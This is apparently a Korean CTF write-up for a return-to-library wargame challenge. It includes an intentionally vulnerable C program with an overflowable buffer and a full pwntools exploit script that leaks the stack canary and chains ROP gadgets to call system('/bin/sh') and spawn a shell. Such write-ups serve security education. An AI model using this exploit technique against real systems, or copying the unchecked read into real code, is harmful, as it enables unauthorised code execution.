// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
해당 바이너리에는 PIE 기법이 적용되어 있지 않으므로 데이터 영역과 코드영역의 주소는 변경되지 않는다.
위 코드에서는 system
함수가 실행되었으므로, PLT 에 system 함수가 등록되었을 것이다. Return to PLT 기법을 사용하여 exploit 코드를 작성하면 될 것 같다.
카나리를 우회하기 위해서는 카나리에 대한 정보가 필요하다
필요한 정보는 다음과 같다.
쉘을 실행하기 위해서는 "/bin/sh" 문자열의 주소를 system 함수의 인자로 넘겨주어야 한다.
여기에서는 전역 변수에 쓰인 binsh 을 활용할 것이다.
카나리는 rbp-0x8 에 위치한다.
소스 코드를 보면 read 함수의 두번째 인자로 buf 의 주소가 쓰이고 있다. read 함수의 호출 직전에 rsi 레지스터 값을 확인해보면 된다.
rbp-0x40 주소가 rax 레지스터에 들어가고, 다시 rax 값이 rsi 레지스터로 들어간다.
수집한 정보를 가지고 스택 구조를 유추해보면 위와 같다.
"/bin/sh" 문자열은 pwndbg 기능을 사용하여 찾을 수 있다. 해당 바이너리는 PIE 가 걸려있지 않으므로 데이터 영역에 있는 코드의 주소는 변경되지 않는다.
(pwntools 모듈의 기능을 사용할 수도 있다.)
exploit 코드를 작성하고 테스트를 해보았을 때 쉘이 얻어지지 않았다. 문제를 확인해보니 system 함수를 실행할 때는 스택이 0x10 단위로 정렬되어 있어야 한다고 한다.
그래서 의미없는 가젯 ret 을 추가로 넣어주었다.
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p = process("./rtl")
#p = remote("host3.dreamhack.games", 18303)
e = ELF("./rtl")
r = ROP("./rtl")
payload = b''
payload += b'A'*57
p.recvuntil(b"Buf: ")
p.send(payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))
slog("canary", canary)
system_plt = e.plt["system"]
slog("system", system_plt)
binsh = next(e.search(b"/bin/sh"))
slog("binsh", binsh)
pop_ret = r.find_gadget(["pop rdi"])[0]
ret = r.find_gadget(["ret"])[0]
slog("pop_ret", pop_ret)
slog("ret", ret)
payload = b""
payload += b"A"*56
payload += p64(canary)
payload += b"A"*8
payload += p64(pop_ret)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system_plt)
p.recvuntil(b"Buf: ")
p.send(payload)
p.interactive()
flag 를 획득하였다.